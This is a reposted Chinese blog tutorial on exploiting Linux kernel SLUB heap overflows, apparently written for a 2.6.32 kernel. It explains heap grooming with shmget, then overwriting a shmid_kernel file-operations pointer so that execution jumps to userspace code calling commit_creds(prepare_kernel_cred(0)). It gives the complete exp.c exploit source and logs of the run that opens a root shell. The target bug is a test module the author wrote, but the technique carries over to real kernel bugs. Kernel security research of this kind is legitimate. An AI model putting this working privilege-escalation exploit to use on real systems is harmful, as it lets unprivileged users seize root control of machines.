[轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow
By wzt 一、前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类:
空指针引用,内核堆栈溢出,内核slab溢出,内核任意地址可写等等。空指针引用漏洞比较
容易exploit,典型的例子如sock_sendpage,udp_sendmsg。但是新内核的安全模块已经不
在允许userspace的code映射低内存了,所以NULL pointer dereference曾经一度只能dos,
不能提权。但是CVE-2010-4258这个内核任意地址可写漏洞,可以将null pointer dereference
的dos转化为提权。内核堆栈溢出相对userspace下的堆栈溢出比较好exploit。这里最难exploit
的是kernel的slab溢出。关于slab的溢出在05年的时候,UNF的qobaiashi就写过paper来阐述
slab的exploit方法。此后关于slab的溢出研究在都集中在2.4内核上,2.6下的slab溢出一
直没看到有相关的paper共享出来。 在kernel 2.6.22的时候,kernel为了改善slab的性能,引入了slub的设计。针对slub
溢出的paper一直没有被共享直到Jon Oberheide发布了一个针对CAN协议的slub溢出的exploit,
这个应该是第一个公开的在2.6kernel上利用slab溢出的exploit,在ubuntu-10.04 2.6.32
的kernel上运行成功。Jon Oberheide在他的blog上也有篇关于分析slub溢出的paper,但是
这个exploit由于利用了CAN代码上的一些优势,并没有把slub溢出的精髓体现出来。在深入
研究了这个exploit的基础上,在加上我调试2.4内核slab溢出的经验,研究了一下slub的溢
出技术,在centos 5.4 + 2.6.32环境测试成功。 二、示例代码: 为了便于调试,我自己写了一个LKM模块,给内核新增了一个系统调用,用户可以通过
api接口来调用。 --code-------------------------------------------------------------------------
#define BUFFER_SIZE 80 asmlinkage long kmalloc_overflow_test(char *addr, int size)
{
char *buff = NULL; buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed.\n");
return -1;
}
printk("[+] Got object at 0x%p\n", buff); if (copy_from_user(buff, addr, size)) {
printk("copy_from_user failed.\n");
kfree(buff);
return -1;
}
printk("%s\n", buff); return 0;
}
------------------------------------------------------------------------------- 这段代码用kmalloc分配了80字节的空间,但没有检查size的大小,用户传递一个大于
80的size值将会产生内核堆溢出。 三、SLUB结构 slub大大简化了slab的数据结构,如从kmem_cache的3个关于slab的队列中去掉了完全
满的队列。每个slab的开始也没有了slab管理结构和管理空obj的kmem_bufctl_t数组。一个
采用slub管理的slab结构如下: 一个slab的结构: +-------------------------------------------+
| obj | obj | obj | ... |obj|
+-------------------------------------------+ 根据上面的代码片段,在一个obj溢出后,脏数据会直接覆盖后面相邻的那个obj: |first|second|
+-------------------------------------------+
| obj | obj | obj | ... |obj|
+-------------------------------------------+
|-----overflow--->| 当有内核代码访问了被溢出的obj中的数据结构后,就会产生oops。 四、SLUB溢出方法 内核提权的最终目的就是触发某个kernel bug,然后控制内核路径到userspace事先布
置好的shellcode上。因此我们的大方向是在second obj中如果有一个函数指针能被脏数据
覆盖为userspace下的shellcode,并且用户又能调用这个函数指针,那么将会完成权限提升
的任务。还有一个要处理的问题就是如何保证在有bug的代码中用kmalloc分配的obj和我们
想要覆盖的函数指针所在的obj是相邻的。因为只能两者相邻,才能用溢出的数据覆盖函数
指针。 我们先假设已经在kernel中找到了一个数据结构,正好满足了上面的需求,现在只要保
证两个obj是相邻的,就能完成指针覆盖。我们知道slab的一个特性是当一个cache中的所有
slab结构中的obj都用完的时候,内核将会重新分配一个slab,新分配的slab中的obj彼此都
是相邻的: Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->____cache_alloc()
->cache_alloc_refill()->cache_grow()->cache_init_objs()
--code-------------------------------------------------------------------------
static void cache_init_objs(struct kmem_cache *cachep,
struct slab *slabp, unsigned long ctor_flags)
{
for (i = 0; i < cachep->num; i++) {
void *objp = index_to_obj(cachep, slabp, i);
slab_bufctl(slabp)[i] = i + 1;
}
slab_bufctl(slabp)[i - 1] = BUFCTL_END;
slabp->free = 0;
}
------------------------------------------------------------------------------- 前面在slab的结构中提到有个kmem_bufctl_t数组,里面的每个元素指向下一个空闲obj
的索引。在初始化一个新的slab时,每个kmem_bufctl_t元素都顺序的指向了与它相邻的下一
个obj,所以当内核重新分配一个slab结构时,我们从这个新的slab中分配的obj都是相邻的。 那么SLUB是不是也满足这个特性呢?在仔细读过slub的代码后,发现它也满足这个特性: kmalloc()->slab_alloc()->__slab_alloc()->new_slab():
--code-------------------------------------------------------------------------
static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
{
last = start;
for_each_object(p, s, start, page->objects) {
setup_object(s, page, last);
set_freepointer(s, last, p);
last = p;
}
setup_object(s, page, last);
set_freepointer(s, last, NULL);
}
#define for_each_object(__p, __s, __addr, __objects) \
for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\
__p += (__s)->size)
------------------------------------------------------------------------------- 这段代码遍历一个page中的所有obj进行初始化: --code-------------------------------------------------------------------------
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
*(void **)(object + s->offset) = fp;
}
------------------------------------------------------------------------------- s->offset保存的是一个slab中下一个空闲的obj偏移,set_freepointer函数将一个obj
的下一个空闲指针指向了下一个obj。所以slub也满足这个特性。 现在我们只要在用户空间找到一种方法来不断消耗大小为96的slab,当现有的slab用完
的时候,新分配的slab中的obj就是连续相邻的。如何消耗slab,我们仍然可以用shmget系
统调用来处理,并且它用到的struct shmid_kernel结构中,就有我们想覆盖的函数指针! ipc/shm.c:
--code-------------------------------------------------------------------------
sys_shmget->ipcget->ipcget_new->newseg:
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{
struct shmid_kernel *shp; shp = ipc_rcu_alloc(sizeof(*shp));
shp->shm_file = file;
}
void* ipc_rcu_alloc(int size)
{
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
}
------------------------------------------------------------------------------- 因此只要在用户空间不断调用shmget就会在内核中不断消耗大小为96的slab。示例中的
代码分配的是80个字节,它将会在96大小的slab中分配,这里还有一点需要注意: --code-------------------------------------------------------------------------
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
------------------------------------------------------------------------------- 用shmget分配的obj前段都有一个8个字节的站位空间,因此用shmget分配的shmid_kernel
结构将会如下: | ------ 96 --------------------| ---------------96 ------------|
+---------------------------------------------------------------+
| HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
+---------------------------------------------------------------+ 在以后覆盖的时候需要跳过HDRLEN_KMALLOC个字节。 内核中关于slab的信息,可以在/proc/slabinfo得到: -------------------------------------------------------------------------------
[wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96
kmalloc-96 922 924 96 42 1 : tunables 0 0 0 : slabdata 22 22 0
------------------------------------------------------------------------------- 922为当前活跃的obj数目,924是所有slab中obj的数目,因此我们在用户空间中可以解
析这个文件来得到当前系统中剩余的obj数目: --code-------------------------------------------------------------------------
int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num; fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
} while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
} return -1;
}
------------------------------------------------------------------------------- 现在写一段code来不断调用shmget,看看新分配的obj是不是连续的,为了调试方便,
我修改了sys_shmget的代码,加入了printk用于打印kmalloc后的地址。trigger程序的代码
片段如下: trigger.c:
--code-------------------------------------------------------------------------
...
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3)); fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break; shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num); fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
... [wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 840 active: 836 free: 4
[+] smashing free slab ...
[+] smashing 17 total: 840 active: 840 free: 0
[+] smashing adjacent slab ...
[+] smashing 117 total: 966 active: 966 free: 0
------------------------------------------------------------------------------- 可以看到dmesg后的信息,新的obj都是连续的。 -------------------------------------------------------------------------------
[wzt@localhost exp]$ dmesg|tail -n 10
[+] kmalloc at 0xdf1ea120
[+] kmalloc at 0xdf1ea180
[+] kmalloc at 0xdf1ea1e0
[+] kmalloc at 0xdf1ea240
[+] kmalloc at 0xdf1ea2a0
[+] kmalloc at 0xdf1ea300
[+] kmalloc at 0xdf1ea360
[+] kmalloc at 0xdf1ea3c0
[+] kmalloc at 0xdf1ea420
[+] kmalloc at 0xdf1ea480
------------------------------------------------------------------------------- ok,我们已经能获得一个连续的obj了,现在要利用slub的另一个特性:FIFO,先在这
些连续的obj中选取一个obj释放掉,然后马上触发有bug的代码,那么有bug的代码调用kmalloc
分配的obj地址就是刚才释放掉的那个obj,当溢出发生后,脏数据将会覆盖它相邻的下一个
obj。可以用如下代码来触发: trigger.c:
--code-------------------------------------------------------------------------
...
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
} fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
...
------------------------------------------------------------------------------- 在这里我们将倒数第4个obj释放掉,执行后dmesg可以看到: -------------------------------------------------------------------------------
[+] kmalloc at 0xd3decc00
[+] kmalloc at 0xd3decc60
[+] kmalloc at 0xd3deccc0
[+] kmalloc at 0xd3decd20
[+] kmalloc at 0xd3decd80
[-] kfree at 0xd3decc60
...............................
[+] Got object at 0xd3decc60
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------------------------------------------------------------------------------- shmctl释放掉了0xd3decc60地址后,有bug的kmalloc分配的地址也是0xd3decc60。 -------------------------------------------------------------------------------
[wzt@localhost exp]$ tail /proc/sysvipc/shm
0 8192250 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
1094795585 1094795585 0 500 134522884 0 500 1094795585 1094795585 0 0 4294967295 252 0
1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
0 8323326 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
------------------------------------------------------------------------------- 可以看到与0xd3decc60相邻的下一个obj地址0xd3deccc0中的shmid_kernel结构已经被
覆盖了。 现在我们可以来覆盖一个函数指针了,在shmid_kernel中正好有满足我们需要的函数指
针! kernel中处理ipc共享内存的一个数据结构struct shmid_kernel: --code-------------------------------------------------------------------------
struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm;
struct file * shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
pid_t shm_cprid;
pid_t shm_lprid;
struct user_struct *mlock_user;
}; struct shmid_kernel {
.shm_file = struct file {
.f_op = struct file_operations = {
.mmap = ATTACKER_ADDRESS
}
}
}
------------------------------------------------------------------------------- 可以用shmat的系统调用来触发: --code-------------------------------------------------------------------------
sys_shmat()->do_shmat():
long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr)
{
user_addr = do_mmap(file, addr, size, prot, flags, 0);
}
------------------------------------------------------------------------------- do_mmap将被覆盖为shellcode地址。 ok,现在可以写一个完整的exp了,试试先: -------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
执行后系统挂掉了, 看下dmesg信息:
[+] kmalloc at 0xd31752a0
[+] kmalloc at 0xd3175300
[+] kmalloc at 0xd3175360
[+] kmalloc at 0xd31753c0
[+] kmalloc at 0xd3175420
[+] kmalloc at 0xd3175480
[+] kmalloc at 0xd31754e0
[-] kfree at 0xd31753c0
...............................
[+] Got object at 0xd31753c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BUG: unable to handle kernel NULL pointer dereference at (null)
IP: [<c04fc352>] ipc_has_perm+0x46/0x61
*pde = 00000000
Oops: 0000 [#1] SMP
last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus
Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode] Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs
EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1
EIP is at ipc_has_perm+0x46/0x61
EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8
DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000)
Stack:
d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
Call Trace:
[<c04f9cf3>] ? security_ipc_permission+0xf/0x10
[<c04f22e4>] ? do_shmat+0xdc/0x349
[<c04057da>] ? sys_ipc+0xff/0x162
[<c0402865>] ? syscall_call+0x7/0xb
Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4
EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8
CR2: 0000000000000000
---[ end trace 7bbab7e881899412 ]---
[wzt@localhost exp]$
------------------------------------------------------------------------------- 看上去像selinux的问题,将它关闭掉再试试: -------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 798 active: 791 free: 7
[+] smashing free slab ...
[+] smashing 5 total: 798 active: 798 free: 0
[+] smashing adjacent slab ...
[+] smashing 105 total: 924 active: 924 free: 0
[+] free exist shmid with idx: 101
[+] trigger kmalloc overflow in kmalloc-96
[+] shmid_kernel size: 80
[+] kern_ipc_perm size: 44
[+] shmid: 3309669
[+] launching root shell!
[root@localhost exp]# uname -a
Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux
[root@localhost exp]#
------------------------------------------------------------------------------- 成功了,终于得到可爱的root了! 五、源码: exp.c
/*
* linux kernel slub overflow test exploit
*
* by wzt <wzt.wzt@gmail.com>
*
*/ #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h> #include "syscalls.h" #define __NR_kmalloc_overflow_test 59 #define KALLSYMS_NAME "/proc/kallsyms"
#define SLAB_NAME "kmalloc-96"
#define SLAB_SIZE 96
#define SLAB_NUM 100 #define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8 struct list_head {
struct list_head *next;
struct list_head *prev;
}; struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
}super_block; struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
}; struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
}inode; struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
}dentry; struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
}op; struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
}vfsmount; struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
}file; struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
}; struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
}shmid_kernel; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred; static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size); int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
} unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0; s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
} while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = "\0";
p = strchr(strchr(buff, " ") + 1, " ");
++p; if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, " ");
*p1 = "\0";
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",
symbol_name, addr);
break;
}
}
} fclose(s_fp);
return addr;
} int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num; fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
} while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
} return -1;
} void clear_old_shm(void)
{
char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk "{print $2}"`; "
"do ipcrm -m $shmid > /dev/null 2>&1; done;"; system(cmd);
} void mmap_init(void)
{
void *payload; payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return ;
}
printf("[+] mmaping kernel code at 0x41414141 ok.\n");
memcpy((void *)0x41414141, &kernel_code, 1024); } void setup(void)
{
printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds)
find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return ;
} prepare_kernel_cred =
(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return ;
} printf("[+] setting up exploit payload...\n"); super_block.s_flags = 0; inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1; dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode; op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code; vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1; file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op; shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = 501;
shmid_kernel.shm_perm.gid = 501;
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
} int trigger(void)
{
int *shmids;
int total_num, active_num, free_num;
int base, free_idx, i;
int ret;
char buff[1024]; clear_old_shm(); free_num = check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
total_num, active_num, total_num - active_num); shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3)); fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break; shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num); fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num); //free_idx = base + SLAB_NUM - 4;
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
} sleep(1); fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel)); printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
printf("[+] shmid: %d\n", shmids[free_idx]); kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel)); ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0); printf("[+] launching root shell!\n"); execl("/bin/bash", "/bin/bash", NULL);
exit(0);
} return 0;
} int main(void)
{
mmap_init();
setup();
trigger();
} 六、参考 1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow
2、 grip2 - Linux 内核溢出研究系列(2) - kmalloc 溢出技术
3、 qobaiashi - the sotry of exploiting kmalloc() overflows
4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference
6、 wzt - Linux kernel stack and heap exploitation -EOF-
[轉]Exploit Linux Kernel Slub Overflow的更多相关文章
- [轉]Exploit The Linux Kernel NULL Pointer Dereference
Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...
- Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)
In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- 深入linux kernel内核配置选项
============================================================================== 深入linux kernel内核配置选项 ...
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- Linux Kernel 排程機制介紹
http://loda.hala01.com/2011/12/linux-kernel-%E6%8E%92%E7%A8%8B%E6%A9%9F%E5%88%B6%E4%BB%8B%E7%B4%B9/ ...
- 关于Linux Kernel 2.6.28 以上有缺陷,在第208.5天自行重啟的问题
今天看到一转帖如下: Linux Kernel 2.6.28 以上有缺陷,在第208.5天自行重啟 https://access.redhat.com/knowledge/solutions/ ...
- Linux Kernel 2.6.28 以上有BUG,系统运行第208.5天down机
简介: 业务服务器有一台服务器出现意外down机,服务器ping 不通.无法登陆,本想通过公司KVM系统登陆系统重启解决,登陆KVM后发现系统屏幕打印大量的内核错误,KVM无法使用.无法发送重启服务器 ...
随机推荐
- spring注解开发:Configuration&Bean
1.使用xml创建bean的方式 1.首先新建一个maven工程,添加如下依赖 <dependency> <groupId>org.springframework</gr ...
- java并发编程之美-阅读记录4
java并发包中的原子操作类,这些类都是基于非阻塞算法CAS实现的. 4.1原子变量操作类 AtomicInteger/AtomicLong/AtomicBoolean等原子操作类 AtomicLon ...
- c# 自定义控件之 ComboBox
winform 自带的 combobox 无法支持根据输入文本匹配列表中的项目,需要使用自定义控件. public class MyCombobox : ComboBox { //初始化数据项 pri ...
- C#编程—第五天--循环语句for
for穷举法.迭代法 穷举法练习: //穷举法: //1.找100以内的与7有关的数 //2.小明单位发了一百元的购物卡,他到超市买洗化用品,一是洗发水(15元),二是香皂(2元),三是牙刷(5元)怎 ...
- 【串线篇】浅谈BeanFactory
BeanFactory&ApplicationContext BeanFactory: bean工厂接口,负责创建bean实例, 容器里保存的所有单例bean其实是一个map<key-- ...
- 异常:Error response from daemon: conflict: unable to delete 6fa48e047721 (cannot be forced) - image has dependent child images
在删除镜像之前要先用 docker rm 删掉依赖于这个镜像的所有容器(哪怕是已经停止的容器),否则无法删除该镜像. 停止容器 # docker stop $(docker ps -a | grep ...
- word--->pdf资料转载..
https://blog.csdn.net/dsn727455218/article/details/80667927
- zoj 2112 单点修改的主席树(树状数组套主席树)
